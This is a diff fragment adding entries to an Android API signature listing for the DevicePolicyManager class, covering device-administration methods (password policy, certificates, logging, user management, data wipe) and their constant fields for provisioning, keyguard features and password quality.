+    method @Deprecated public int getPasswordQuality(@Nullable android.content.ComponentName);
+    method @Nullable public android.app.admin.SystemUpdateInfo getPendingSystemUpdate(@NonNull android.content.ComponentName);
+    method public int getPermissionGrantState(@Nullable android.content.ComponentName, @NonNull String, @NonNull String);
+    method public int getPermissionPolicy(android.content.ComponentName);
+    method @Nullable public java.util.List<java.lang.String> getPermittedAccessibilityServices(@NonNull android.content.ComponentName);
+    method @Nullable public java.util.List<java.lang.String> getPermittedCrossProfileNotificationListeners(@NonNull android.content.ComponentName);
+    method @Nullable public java.util.List<java.lang.String> getPermittedInputMethods(@NonNull android.content.ComponentName);
+    method public int getPersonalAppsSuspendedReasons(@NonNull android.content.ComponentName);
+    method public int getRequiredPasswordComplexity();
+    method public long getRequiredStrongAuthTimeout(@Nullable android.content.ComponentName);
+    method public boolean getScreenCaptureDisabled(@Nullable android.content.ComponentName);
+    method public java.util.List<android.os.UserHandle> getSecondaryUsers(@NonNull android.content.ComponentName);
+    method public CharSequence getShortSupportMessage(@NonNull android.content.ComponentName);
+    method public CharSequence getStartUserSessionMessage(@NonNull android.content.ComponentName);
+    method @Deprecated public boolean getStorageEncryption(@Nullable android.content.ComponentName);
+    method public int getStorageEncryptionStatus();
+    method @Nullable public android.app.admin.SystemUpdatePolicy getSystemUpdatePolicy();
+    method @Nullable public android.os.PersistableBundle getTransferOwnershipBundle();
+    method @Nullable public java.util.List<android.os.PersistableBundle> getTrustAgentConfiguration(@Nullable android.content.ComponentName, @NonNull android.content.ComponentName);
+    method @NonNull public java.util.List<java.lang.String> getUserControlDisabledPackages(@NonNull android.content.ComponentName);
+    method @NonNull public android.os.Bundle getUserRestrictions(@NonNull android.content.ComponentName);
+    method @Nullable public String getWifiMacAddress(@NonNull android.content.ComponentName);
+    method public boolean grantKeyPairToApp(@Nullable android.content.ComponentName, @NonNull String, @NonNull String);
+    method public boolean grantKeyPairToWifiAuth(@NonNull String);
+    method public boolean hasCaCertInstalled(@Nullable android.content.ComponentName, byte[]);
+    method public boolean hasGrantedPolicy(@NonNull android.content.ComponentName, int);
+    method public boolean hasKeyPair(@NonNull String);
+    method public boolean hasLockdownAdminConfiguredNetworks(@NonNull android.content.ComponentName);
+    method public boolean installCaCert(@Nullable android.content.ComponentName, byte[]);
+    method public boolean installExistingPackage(@NonNull android.content.ComponentName, String);
+    method public boolean installKeyPair(@Nullable android.content.ComponentName, @NonNull java.security.PrivateKey, @NonNull java.security.cert.Certificate, @NonNull String);
+    method public boolean installKeyPair(@Nullable android.content.ComponentName, @NonNull java.security.PrivateKey, @NonNull java.security.cert.Certificate[], @NonNull String, boolean);
+    method public boolean installKeyPair(@Nullable android.content.ComponentName, @NonNull java.security.PrivateKey, @NonNull java.security.cert.Certificate[], @NonNull String, int);
+    method public void installSystemUpdate(@NonNull android.content.ComponentName, @NonNull android.net.Uri, @NonNull java.util.concurrent.Executor, @NonNull android.app.admin.DevicePolicyManager.InstallSystemUpdateCallback);
+    method public boolean isActivePasswordSufficient();
+    method public boolean isActivePasswordSufficientForDeviceRequirement();
+    method public boolean isAdminActive(@NonNull android.content.ComponentName);
+    method public boolean isAffiliatedUser();
+    method public boolean isAlwaysOnVpnLockdownEnabled(@NonNull android.content.ComponentName);
+    method public boolean isApplicationHidden(@NonNull android.content.ComponentName, String);
+    method public boolean isBackupServiceEnabled(@NonNull android.content.ComponentName);
+    method @Deprecated public boolean isCallerApplicationRestrictionsManagingPackage();
+    method public boolean isCommonCriteriaModeEnabled(@Nullable android.content.ComponentName);
+    method public boolean isComplianceAcknowledgementRequired();
+    method public boolean isDeviceIdAttestationSupported();
+    method public boolean isDeviceOwnerApp(String);
+    method public boolean isEphemeralUser(@NonNull android.content.ComponentName);
+    method public boolean isKeyPairGrantedToWifiAuth(@NonNull String);
+    method public boolean isLockTaskPermitted(String);
+    method public boolean isLogoutEnabled();
+    method public boolean isManagedProfile(@NonNull android.content.ComponentName);
+    method public boolean isMasterVolumeMuted(@NonNull android.content.ComponentName);
+    method public boolean isNetworkLoggingEnabled(@Nullable android.content.ComponentName);
+    method public boolean isOrganizationOwnedDeviceWithManagedProfile();
+    method public boolean isOverrideApnEnabled(@NonNull android.content.ComponentName);
+    method public boolean isPackageSuspended(@NonNull android.content.ComponentName, String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public boolean isPreferentialNetworkServiceEnabled();
+    method public boolean isProfileOwnerApp(String);
+    method public boolean isProvisioningAllowed(@NonNull String);
+    method public boolean isResetPasswordTokenActive(android.content.ComponentName);
+    method public boolean isSafeOperation(int);
+    method public boolean isSecurityLoggingEnabled(@Nullable android.content.ComponentName);
+    method public boolean isUninstallBlocked(@Nullable android.content.ComponentName, String);
+    method public boolean isUniqueDeviceAttestationSupported();
+    method public boolean isUsbDataSignalingEnabled();
+    method public boolean isUsingUnifiedPassword(@NonNull android.content.ComponentName);
+    method @NonNull public java.util.List<android.os.UserHandle> listForegroundAffiliatedUsers();
+    method public void lockNow();
+    method public void lockNow(int);
+    method public int logoutUser(@NonNull android.content.ComponentName);
+    method public void reboot(@NonNull android.content.ComponentName);
+    method public void removeActiveAdmin(@NonNull android.content.ComponentName);
+    method public boolean removeCrossProfileWidgetProvider(@NonNull android.content.ComponentName, String);
+    method public boolean removeKeyPair(@Nullable android.content.ComponentName, @NonNull String);
+    method public boolean removeOverrideApn(@NonNull android.content.ComponentName, int);
+    method public boolean removeUser(@NonNull android.content.ComponentName, @NonNull android.os.UserHandle);
+    method public boolean requestBugreport(@NonNull android.content.ComponentName);
+    method @Deprecated public boolean resetPassword(String, int);
+    method public boolean resetPasswordWithToken(@NonNull android.content.ComponentName, String, byte[], int);
+    method @Nullable public java.util.List<android.app.admin.NetworkEvent> retrieveNetworkLogs(@Nullable android.content.ComponentName, long);
+    method @Nullable public java.util.List<android.app.admin.SecurityLog.SecurityEvent> retrievePreRebootSecurityLogs(@NonNull android.content.ComponentName);
+    method @Nullable public java.util.List<android.app.admin.SecurityLog.SecurityEvent> retrieveSecurityLogs(@NonNull android.content.ComponentName);
+    method public boolean revokeKeyPairFromApp(@Nullable android.content.ComponentName, @NonNull String, @NonNull String);
+    method public boolean revokeKeyPairFromWifiAuth(@NonNull String);
+    method public void setAccountManagementDisabled(@NonNull android.content.ComponentName, String, boolean);
+    method public void setAffiliationIds(@NonNull android.content.ComponentName, @NonNull java.util.Set<java.lang.String>);
+    method public void setAlwaysOnVpnPackage(@NonNull android.content.ComponentName, @Nullable String, boolean) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public void setAlwaysOnVpnPackage(@NonNull android.content.ComponentName, @Nullable String, boolean, @Nullable java.util.Set<java.lang.String>) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public boolean setApplicationHidden(@NonNull android.content.ComponentName, String, boolean);
+    method @WorkerThread public void setApplicationRestrictions(@Nullable android.content.ComponentName, String, android.os.Bundle);
+    method @Deprecated public void setApplicationRestrictionsManagingPackage(@NonNull android.content.ComponentName, @Nullable String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public void setAutoTimeEnabled(@NonNull android.content.ComponentName, boolean);
+    method @Deprecated public void setAutoTimeRequired(@NonNull android.content.ComponentName, boolean);
+    method public void setAutoTimeZoneEnabled(@NonNull android.content.ComponentName, boolean);
+    method public void setBackupServiceEnabled(@NonNull android.content.ComponentName, boolean);
+    method public void setBluetoothContactSharingDisabled(@NonNull android.content.ComponentName, boolean);
+    method public void setCameraDisabled(@NonNull android.content.ComponentName, boolean);
+    method @Deprecated public void setCertInstallerPackage(@NonNull android.content.ComponentName, @Nullable String) throws java.lang.SecurityException;
+    method public void setCommonCriteriaModeEnabled(@NonNull android.content.ComponentName, boolean);
+    method public void setConfiguredNetworksLockdownState(@NonNull android.content.ComponentName, boolean);
+    method public void setCrossProfileCalendarPackages(@NonNull android.content.ComponentName, @Nullable java.util.Set<java.lang.String>);
+    method public void setCrossProfileCallerIdDisabled(@NonNull android.content.ComponentName, boolean);
+    method public void setCrossProfileContactsSearchDisabled(@NonNull android.content.ComponentName, boolean);
+    method public void setCrossProfilePackages(@NonNull android.content.ComponentName, @NonNull java.util.Set<java.lang.String>);
+    method public void setDefaultSmsApplication(@NonNull android.content.ComponentName, @NonNull String);
+    method public void setDelegatedScopes(@NonNull android.content.ComponentName, @NonNull String, @NonNull java.util.List<java.lang.String>);
+    method public void setDeviceOwnerLockScreenInfo(@NonNull android.content.ComponentName, CharSequence);
+    method public void setEndUserSessionMessage(@NonNull android.content.ComponentName, @Nullable CharSequence);
+    method public void setFactoryResetProtectionPolicy(@NonNull android.content.ComponentName, @Nullable android.app.admin.FactoryResetProtectionPolicy);
+    method public int setGlobalPrivateDnsModeOpportunistic(@NonNull android.content.ComponentName);
+    method @WorkerThread public int setGlobalPrivateDnsModeSpecifiedHost(@NonNull android.content.ComponentName, @NonNull String);
+    method public void setGlobalSetting(@NonNull android.content.ComponentName, String, String);
+    method public void setKeepUninstalledPackages(@Nullable android.content.ComponentName, @NonNull java.util.List<java.lang.String>);
+    method public boolean setKeyPairCertificate(@Nullable android.content.ComponentName, @NonNull String, @NonNull java.util.List<java.security.cert.Certificate>, boolean);
+    method public boolean setKeyguardDisabled(@NonNull android.content.ComponentName, boolean);
+    method public void setKeyguardDisabledFeatures(@NonNull android.content.ComponentName, int);
+    method public void setLocationEnabled(@NonNull android.content.ComponentName, boolean);
+    method public void setLockTaskFeatures(@NonNull android.content.ComponentName, int);
+    method public void setLockTaskPackages(@NonNull android.content.ComponentName, @NonNull String[]) throws java.lang.SecurityException;
+    method public void setLogoutEnabled(@NonNull android.content.ComponentName, boolean);
+    method public void setLongSupportMessage(@NonNull android.content.ComponentName, @Nullable CharSequence);
+    method public void setManagedProfileMaximumTimeOff(@NonNull android.content.ComponentName, long);
+    method public void setMasterVolumeMuted(@NonNull android.content.ComponentName, boolean);
+    method public void setMaximumFailedPasswordsForWipe(@NonNull android.content.ComponentName, int);
+    method public void setMaximumTimeToLock(@NonNull android.content.ComponentName, long);
+    method @NonNull public java.util.List<java.lang.String> setMeteredDataDisabledPackages(@NonNull android.content.ComponentName, @NonNull java.util.List<java.lang.String>);
+    method public void setNearbyAppStreamingPolicy(int);
+    method public void setNearbyNotificationStreamingPolicy(int);
+    method public void setNetworkLoggingEnabled(@Nullable android.content.ComponentName, boolean);
+    method @Deprecated public void setOrganizationColor(@NonNull android.content.ComponentName, int);
+    method public void setOrganizationId(@NonNull String);
+    method public void setOrganizationName(@NonNull android.content.ComponentName, @Nullable CharSequence);
+    method public void setOverrideApnsEnabled(@NonNull android.content.ComponentName, boolean);
+    method @NonNull public String[] setPackagesSuspended(@NonNull android.content.ComponentName, @NonNull String[], boolean);
+    method public void setPasswordExpirationTimeout(@NonNull android.content.ComponentName, long);
+    method public void setPasswordHistoryLength(@NonNull android.content.ComponentName, int);
+    method @Deprecated public void setPasswordMinimumLength(@NonNull android.content.ComponentName, int);
+    method @Deprecated public void setPasswordMinimumLetters(@NonNull android.content.ComponentName, int);
+    method @Deprecated public void setPasswordMinimumLowerCase(@NonNull android.content.ComponentName, int);
+    method @Deprecated public void setPasswordMinimumNonLetter(@NonNull android.content.ComponentName, int);
+    method @Deprecated public void setPasswordMinimumNumeric(@NonNull android.content.ComponentName, int);
+    method @Deprecated public void setPasswordMinimumSymbols(@NonNull android.content.ComponentName, int);
+    method @Deprecated public void setPasswordMinimumUpperCase(@NonNull android.content.ComponentName, int);
+    method @Deprecated public void setPasswordQuality(@NonNull android.content.ComponentName, int);
+    method public boolean setPermissionGrantState(@NonNull android.content.ComponentName, @NonNull String, @NonNull String, int);
+    method public void setPermissionPolicy(@NonNull android.content.ComponentName, int);
+    method public boolean setPermittedAccessibilityServices(@NonNull android.content.ComponentName, java.util.List<java.lang.String>);
+    method public boolean setPermittedCrossProfileNotificationListeners(@NonNull android.content.ComponentName, @Nullable java.util.List<java.lang.String>);
+    method public boolean setPermittedInputMethods(@NonNull android.content.ComponentName, java.util.List<java.lang.String>);
+    method public void setPersonalAppsSuspended(@NonNull android.content.ComponentName, boolean);
+    method public void setPreferentialNetworkServiceEnabled(boolean);
+    method public void setProfileEnabled(@NonNull android.content.ComponentName);
+    method public void setProfileName(@NonNull android.content.ComponentName, String);
+    method public void setRecommendedGlobalProxy(@NonNull android.content.ComponentName, @Nullable android.net.ProxyInfo);
+    method public void setRequiredPasswordComplexity(int);
+    method public void setRequiredStrongAuthTimeout(@NonNull android.content.ComponentName, long);
+    method public boolean setResetPasswordToken(android.content.ComponentName, byte[]);
+    method public void setRestrictionsProvider(@NonNull android.content.ComponentName, @Nullable android.content.ComponentName);
+    method public void setScreenCaptureDisabled(@NonNull android.content.ComponentName, boolean);
+    method public void setSecureSetting(@NonNull android.content.ComponentName, String, String);
+    method public void setSecurityLoggingEnabled(@NonNull android.content.ComponentName, boolean);
+    method public void setShortSupportMessage(@NonNull android.content.ComponentName, @Nullable CharSequence);
+    method public void setStartUserSessionMessage(@NonNull android.content.ComponentName, @Nullable CharSequence);
+    method public boolean setStatusBarDisabled(@NonNull android.content.ComponentName, boolean);
+    method @Deprecated public int setStorageEncryption(@NonNull android.content.ComponentName, boolean);
+    method public void setSystemSetting(@NonNull android.content.ComponentName, @NonNull String, String);
+    method public void setSystemUpdatePolicy(@NonNull android.content.ComponentName, android.app.admin.SystemUpdatePolicy);
+    method public boolean setTime(@NonNull android.content.ComponentName, long);
+    method public boolean setTimeZone(@NonNull android.content.ComponentName, String);
+    method public void setTrustAgentConfiguration(@NonNull android.content.ComponentName, @NonNull android.content.ComponentName, android.os.PersistableBundle);
+    method public void setUninstallBlocked(@Nullable android.content.ComponentName, String, boolean);
+    method public void setUsbDataSignalingEnabled(boolean);
+    method public void setUserControlDisabledPackages(@NonNull android.content.ComponentName, @NonNull java.util.List<java.lang.String>);
+    method public void setUserIcon(@NonNull android.content.ComponentName, android.graphics.Bitmap);
+    method public int startUserInBackground(@NonNull android.content.ComponentName, @NonNull android.os.UserHandle);
+    method public int stopUser(@NonNull android.content.ComponentName, @NonNull android.os.UserHandle);
+    method public boolean switchUser(@NonNull android.content.ComponentName, @Nullable android.os.UserHandle);
+    method public void transferOwnership(@NonNull android.content.ComponentName, @NonNull android.content.ComponentName, @Nullable android.os.PersistableBundle);
+    method public void uninstallAllUserCaCerts(@Nullable android.content.ComponentName);
+    method public void uninstallCaCert(@Nullable android.content.ComponentName, byte[]);
+    method public boolean updateOverrideApn(@NonNull android.content.ComponentName, int, @NonNull android.telephony.data.ApnSetting);
+    method public void wipeData(int);
+    method public void wipeData(int, @NonNull CharSequence);
+    field public static final String ACTION_ADD_DEVICE_ADMIN = "android.app.action.ADD_DEVICE_ADMIN";
+    field public static final String ACTION_ADMIN_POLICY_COMPLIANCE = "android.app.action.ADMIN_POLICY_COMPLIANCE";
+    field public static final String ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED = "android.app.action.APPLICATION_DELEGATION_SCOPES_CHANGED";
+    field public static final String ACTION_CHECK_POLICY_COMPLIANCE = "android.app.action.CHECK_POLICY_COMPLIANCE";
+    field public static final String ACTION_DEVICE_ADMIN_SERVICE = "android.app.action.DEVICE_ADMIN_SERVICE";
+    field public static final String ACTION_DEVICE_OWNER_CHANGED = "android.app.action.DEVICE_OWNER_CHANGED";
+    field public static final String ACTION_GET_PROVISIONING_MODE = "android.app.action.GET_PROVISIONING_MODE";
+    field public static final String ACTION_MANAGED_PROFILE_PROVISIONED = "android.app.action.MANAGED_PROFILE_PROVISIONED";
+    field public static final String ACTION_PROFILE_OWNER_CHANGED = "android.app.action.PROFILE_OWNER_CHANGED";
+    field public static final String ACTION_PROVISIONING_SUCCESSFUL = "android.app.action.PROVISIONING_SUCCESSFUL";
+    field @Deprecated public static final String ACTION_PROVISION_MANAGED_DEVICE = "android.app.action.PROVISION_MANAGED_DEVICE";
+    field public static final String ACTION_PROVISION_MANAGED_PROFILE = "android.app.action.PROVISION_MANAGED_PROFILE";
+    field public static final String ACTION_SET_NEW_PARENT_PROFILE_PASSWORD = "android.app.action.SET_NEW_PARENT_PROFILE_PASSWORD";
+    field public static final String ACTION_SET_NEW_PASSWORD = "android.app.action.SET_NEW_PASSWORD";
+    field public static final String ACTION_START_ENCRYPTION = "android.app.action.START_ENCRYPTION";
+    field public static final String ACTION_SYSTEM_UPDATE_POLICY_CHANGED = "android.app.action.SYSTEM_UPDATE_POLICY_CHANGED";
+    field public static final String DELEGATION_APP_RESTRICTIONS = "delegation-app-restrictions";
+    field public static final String DELEGATION_BLOCK_UNINSTALL = "delegation-block-uninstall";
+    field public static final String DELEGATION_CERT_INSTALL = "delegation-cert-install";
+    field public static final String DELEGATION_CERT_SELECTION = "delegation-cert-selection";
+    field public static final String DELEGATION_ENABLE_SYSTEM_APP = "delegation-enable-system-app";
+    field public static final String DELEGATION_INSTALL_EXISTING_PACKAGE = "delegation-install-existing-package";
+    field public static final String DELEGATION_KEEP_UNINSTALLED_PACKAGES = "delegation-keep-uninstalled-packages";
+    field public static final String DELEGATION_NETWORK_LOGGING = "delegation-network-logging";
+    field public static final String DELEGATION_PACKAGE_ACCESS = "delegation-package-access";
+    field public static final String DELEGATION_PERMISSION_GRANT = "delegation-permission-grant";
+    field public static final String DELEGATION_SECURITY_LOGGING = "delegation-security-logging";
+    field public static final int ENCRYPTION_STATUS_ACTIVATING = 2; // 0x2
+    field public static final int ENCRYPTION_STATUS_ACTIVE = 3; // 0x3
+    field public static final int ENCRYPTION_STATUS_ACTIVE_DEFAULT_KEY = 4; // 0x4
+    field public static final int ENCRYPTION_STATUS_ACTIVE_PER_USER = 5; // 0x5
+    field public static final int ENCRYPTION_STATUS_INACTIVE = 1; // 0x1
+    field public static final int ENCRYPTION_STATUS_UNSUPPORTED = 0; // 0x0
+    field public static final String EXTRA_ADD_EXPLANATION = "android.app.extra.ADD_EXPLANATION";
+    field public static final String EXTRA_DELEGATION_SCOPES = "android.app.extra.DELEGATION_SCOPES";
+    field public static final String EXTRA_DEVICE_ADMIN = "android.app.extra.DEVICE_ADMIN";
+    field public static final String EXTRA_DEVICE_PASSWORD_REQUIREMENT_ONLY = "android.app.extra.DEVICE_PASSWORD_REQUIREMENT_ONLY";
+    field @RequiresPermission(android.Manifest.permission.REQUEST_PASSWORD_COMPLEXITY) public static final String EXTRA_PASSWORD_COMPLEXITY = "android.app.extra.PASSWORD_COMPLEXITY";
+    field public static final String EXTRA_PROVISIONING_ACCOUNT_TO_MIGRATE = "android.app.extra.PROVISIONING_ACCOUNT_TO_MIGRATE";
+    field public static final String EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE = "android.app.extra.PROVISIONING_ADMIN_EXTRAS_BUNDLE";
+    field public static final String EXTRA_PROVISIONING_ALLOWED_PROVISIONING_MODES = "android.app.extra.PROVISIONING_ALLOWED_PROVISIONING_MODES";
+    field public static final String EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME = "android.app.extra.PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME";
+    field public static final String EXTRA_PROVISIONING_DEVICE_ADMIN_MINIMUM_VERSION_CODE = "android.app.extra.PROVISIONING_DEVICE_ADMIN_MINIMUM_VERSION_CODE";
+    field public static final String EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_CHECKSUM = "android.app.extra.PROVISIONING_DEVICE_ADMIN_PACKAGE_CHECKSUM";
+    field public static final String EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_DOWNLOAD_COOKIE_HEADER = "android.app.extra.PROVISIONING_DEVICE_ADMIN_PACKAGE_DOWNLOAD_COOKIE_HEADER";
+    field public static final String EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_DOWNLOAD_LOCATION = "android.app.extra.PROVISIONING_DEVICE_ADMIN_PACKAGE_DOWNLOAD_LOCATION";
+    field @Deprecated public static final String EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME = "android.app.extra.PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME";
+    field public static final String EXTRA_PROVISIONING_DEVICE_ADMIN_SIGNATURE_CHECKSUM = "android.app.extra.PROVISIONING_DEVICE_ADMIN_SIGNATURE_CHECKSUM";
+    field public static final String EXTRA_PROVISIONING_DISCLAIMERS = "android.app.extra.PROVISIONING_DISCLAIMERS";
+    field public static final String EXTRA_PROVISIONING_DISCLAIMER_CONTENT = "android.app.extra.PROVISIONING_DISCLAIMER_CONTENT";
+    field public static final String EXTRA_PROVISIONING_DISCLAIMER_HEADER = "android.app.extra.PROVISIONING_DISCLAIMER_HEADER";
+    field @Deprecated public static final String EXTRA_PROVISIONING_EMAIL_ADDRESS = "android.app.extra.PROVISIONING_EMAIL_ADDRESS";
+    field public static final String EXTRA_PROVISIONING_IMEI = "android.app.extra.PROVISIONING_IMEI";
+    field public static final String EXTRA_PROVISIONING_KEEP_ACCOUNT_ON_MIGRATION = "android.app.extra.PROVISIONING_KEEP_ACCOUNT_ON_MIGRATION";
+    field public static final String EXTRA_PROVISIONING_LEAVE_ALL_SYSTEM_APPS_ENABLED = "android.app.extra.PROVISIONING_LEAVE_ALL_SYSTEM_APPS_ENABLED";
+    field public static final String EXTRA_PROVISIONING_LOCALE = "android.app.extra.PROVISIONING_LOCALE";
+    field public static final String EXTRA_PROVISIONING_LOCAL_TIME = "android.app.extra.PROVISIONING_LOCAL_TIME";
+    field public static final String EXTRA_PROVISIONING_LOGO_URI = "android.app.extra.PROVISIONING_LOGO_URI";
+    field @Deprecated public static final String EXTRA_PROVISIONING_MAIN_COLOR = "android.app.extra.PROVISIONING_MAIN_COLOR";
+    field public static final String EXTRA_PROVISIONING_MODE = "android.app.extra.PROVISIONING_MODE";
+    field public static final String EXTRA_PROVISIONING_SENSORS_PERMISSION_GRANT_OPT_OUT = "android.app.extra.PROVISIONING_SENSORS_PERMISSION_GRANT_OPT_OUT";
+    field public static final String EXTRA_PROVISIONING_SERIAL_NUMBER = "android.app.extra.PROVISIONING_SERIAL_NUMBER";
+    field public static final String EXTRA_PROVISIONING_SKIP_EDUCATION_SCREENS = "android.app.extra.PROVISIONING_SKIP_EDUCATION_SCREENS";
+    field public static final String EXTRA_PROVISIONING_SKIP_ENCRYPTION = "android.app.extra.PROVISIONING_SKIP_ENCRYPTION";
+    field @Deprecated public static final String EXTRA_PROVISIONING_SKIP_USER_CONSENT = "android.app.extra.PROVISIONING_SKIP_USER_CONSENT";
+    field public static final String EXTRA_PROVISIONING_TIME_ZONE = "android.app.extra.PROVISIONING_TIME_ZONE";
+    field public static final String EXTRA_PROVISIONING_WIFI_ANONYMOUS_IDENTITY = "android.app.extra.PROVISIONING_WIFI_ANONYMOUS_IDENTITY";
+    field public static final String EXTRA_PROVISIONING_WIFI_CA_CERTIFICATE = "android.app.extra.PROVISIONING_WIFI_CA_CERTIFICATE";
+    field public static final String EXTRA_PROVISIONING_WIFI_DOMAIN = "android.app.extra.PROVISIONING_WIFI_DOMAIN";
+    field public static final String EXTRA_PROVISIONING_WIFI_EAP_METHOD = "android.app.extra.PROVISIONING_WIFI_EAP_METHOD";
+    field public static final String EXTRA_PROVISIONING_WIFI_HIDDEN = "android.app.extra.PROVISIONING_WIFI_HIDDEN";
+    field public static final String EXTRA_PROVISIONING_WIFI_IDENTITY = "android.app.extra.PROVISIONING_WIFI_IDENTITY";
+    field public static final String EXTRA_PROVISIONING_WIFI_PAC_URL = "android.app.extra.PROVISIONING_WIFI_PAC_URL";
+    field public static final String EXTRA_PROVISIONING_WIFI_PASSWORD = "android.app.extra.PROVISIONING_WIFI_PASSWORD";
+    field public static final String EXTRA_PROVISIONING_WIFI_PHASE2_AUTH = "android.app.extra.PROVISIONING_WIFI_PHASE2_AUTH";
+    field public static final String EXTRA_PROVISIONING_WIFI_PROXY_BYPASS = "android.app.extra.PROVISIONING_WIFI_PROXY_BYPASS";
+    field public static final String EXTRA_PROVISIONING_WIFI_PROXY_HOST = "android.app.extra.PROVISIONING_WIFI_PROXY_HOST";
+    field public static final String EXTRA_PROVISIONING_WIFI_PROXY_PORT = "android.app.extra.PROVISIONING_WIFI_PROXY_PORT";
+    field public static final String EXTRA_PROVISIONING_WIFI_SECURITY_TYPE = "android.app.extra.PROVISIONING_WIFI_SECURITY_TYPE";
+    field public static final String EXTRA_PROVISIONING_WIFI_SSID = "android.app.extra.PROVISIONING_WIFI_SSID";
+    field public static final String EXTRA_PROVISIONING_WIFI_USER_CERTIFICATE = "android.app.extra.PROVISIONING_WIFI_USER_CERTIFICATE";
+    field public static final int FLAG_EVICT_CREDENTIAL_ENCRYPTION_KEY = 1; // 0x1
+    field public static final int FLAG_MANAGED_CAN_ACCESS_PARENT = 2; // 0x2
+    field public static final int FLAG_PARENT_CAN_ACCESS_MANAGED = 1; // 0x1
+    field public static final int ID_TYPE_BASE_INFO = 1; // 0x1
+    field public static final int ID_TYPE_IMEI = 4; // 0x4
+    field public static final int ID_TYPE_INDIVIDUAL_ATTESTATION = 16; // 0x10
+    field public static final int ID_TYPE_MEID = 8; // 0x8
+    field public static final int ID_TYPE_SERIAL = 2; // 0x2
+    field public static final int INSTALLKEY_REQUEST_CREDENTIALS_ACCESS = 1; // 0x1
+    field public static final int INSTALLKEY_SET_USER_SELECTABLE = 2; // 0x2
+    field public static final int KEYGUARD_DISABLE_BIOMETRICS = 416; // 0x1a0
+    field public static final int KEYGUARD_DISABLE_FACE = 128; // 0x80
+    field public static final int KEYGUARD_DISABLE_FEATURES_ALL = 2147483647; // 0x7fffffff
+    field public static final int KEYGUARD_DISABLE_FEATURES_NONE = 0; // 0x0
+    field public static final int KEYGUARD_DISABLE_FINGERPRINT = 32; // 0x20
+    field public static final int KEYGUARD_DISABLE_IRIS = 256; // 0x100
+    field public static final int KEYGUARD_DISABLE_REMOTE_INPUT = 64; // 0x40
+    field public static final int KEYGUARD_DISABLE_SECURE_CAMERA = 2; // 0x2
+    field public static final int KEYGUARD_DISABLE_SECURE_NOTIFICATIONS = 4; // 0x4
+    field public static final int KEYGUARD_DISABLE_TRUST_AGENTS = 16; // 0x10
+    field public static final int KEYGUARD_DISABLE_UNREDACTED_NOTIFICATIONS = 8; // 0x8
+    field public static final int KEYGUARD_DISABLE_WIDGETS_ALL = 1; // 0x1
+    field public static final int LEAVE_ALL_SYSTEM_APPS_ENABLED = 16; // 0x10
+    field public static final int LOCK_TASK_FEATURE_BLOCK_ACTIVITY_START_IN_TASK = 64; // 0x40
+    field public static final int LOCK_TASK_FEATURE_GLOBAL_ACTIONS = 16; // 0x10
+    field public static final int LOCK_TASK_FEATURE_HOME = 4; // 0x4
+    field public static final int LOCK_TASK_FEATURE_KEYGUARD = 32; // 0x20
+    field public static final int LOCK_TASK_FEATURE_NONE = 0; // 0x0
+    field public static final int LOCK_TASK_FEATURE_NOTIFICATIONS = 2; // 0x2
+    field public static final int LOCK_TASK_FEATURE_OVERVIEW = 8; // 0x8
+    field public static final int LOCK_TASK_FEATURE_SYSTEM_INFO = 1; // 0x1
+    field public static final int MAKE_USER_EPHEMERAL = 2; // 0x2
+    field public static final String MIME_TYPE_PROVISIONING_NFC = "application/com.android.managedprovisioning";
+    field public static final int NEARBY_STREAMING_DISABLED = 1; // 0x1
+    field public static final int NEARBY_STREAMING_ENABLED = 2; // 0x2
+    field public static final int NEARBY_STREAMING_NOT_CONTROLLED_BY_POLICY = 0; // 0x0
+    field public static final int NEARBY_STREAMING_SAME_MANAGED_ACCOUNT_ONLY = 3; // 0x3
+    field public static final int OPERATION_SAFETY_REASON_DRIVING_DISTRACTION = 1; // 0x1
+    field public static final int PASSWORD_COMPLEXITY_HIGH = 327680; // 0x50000
+    field public static final int PASSWORD_COMPLEXITY_LOW = 65536; // 0x10000
+    field public static final int PASSWORD_COMPLEXITY_MEDIUM = 196608; // 0x30000
+    field public static final int PASSWORD_COMPLEXITY_NONE = 0; // 0x0
+    field public static final int PASSWORD_QUALITY_ALPHABETIC = 262144; // 0x40000
+    field public static final int PASSWORD_QUALITY_ALPHANUMERIC = 327680; // 0x50000
+    field public static final int PASSWORD_QUALITY_BIOMETRIC_WEAK = 32768; // 0x8000
+    field public static final int PASSWORD_QUALITY_COMPLEX = 393216; // 0x60000
+    field public static final int PASSWORD_QUALITY_NUMERIC = 131072; // 0x20000
+    field public static final int PASSWORD_QUALITY_NUMERIC_COMPLEX = 196608; // 0x30000
+    field public static final int PASSWORD_QUALITY_SOMETHING = 65536; // 0x10000
+    field public static final int PASSWORD_QUALITY_UNSPECIFIED = 0; // 0x0
+    field public static final int PERMISSION_GRANT_STATE_DEFAULT = 0; // 0x0
+    field public static final int PERMISSION_GRANT_STATE_DENIED = 2; // 0x2
+    field public static final int PERMISSION_GRANT_STATE_GRANTED = 1; // 0x1
+    field public static final int PERMISSION_POLICY_AUTO_DENY = 2; // 0x2
+    field public static final int PERMISSION_POLICY_AUTO_GRANT = 1; // 0x1
+    field public static final int PERMISSION_POLICY_PROMPT = 0; // 0x0
+    field public static final int PERSONAL_APPS_NOT_SUSPENDED = 0; // 0x0
+    field public static final int PERSONAL_APPS_SUSPENDED_EXPLICITLY = 1; // 0x1
+    field public static final int PERSONAL_APPS_SUSPENDED_PROFILE_TIMEOUT = 2; // 0x2
+    field public static final String POLICY_DISABLE_CAMERA = "policy_disable_camera";
+    field public static final String POLICY_DISABLE_SCREEN_CAPTURE = "policy_disable_screen_capture";
+    field public static final int PRIVATE_DNS_MODE_OFF = 1; // 0x1
+    field public static final int PRIVATE_DNS_MODE_OPPORTUNISTIC = 2; // 0x2
+    field public static final int PRIVATE_DNS_MODE_PROVIDER_HOSTNAME = 3; // 0x3
+    field public static final int PRIVATE_DNS_MODE_UNKNOWN = 0; // 0x0
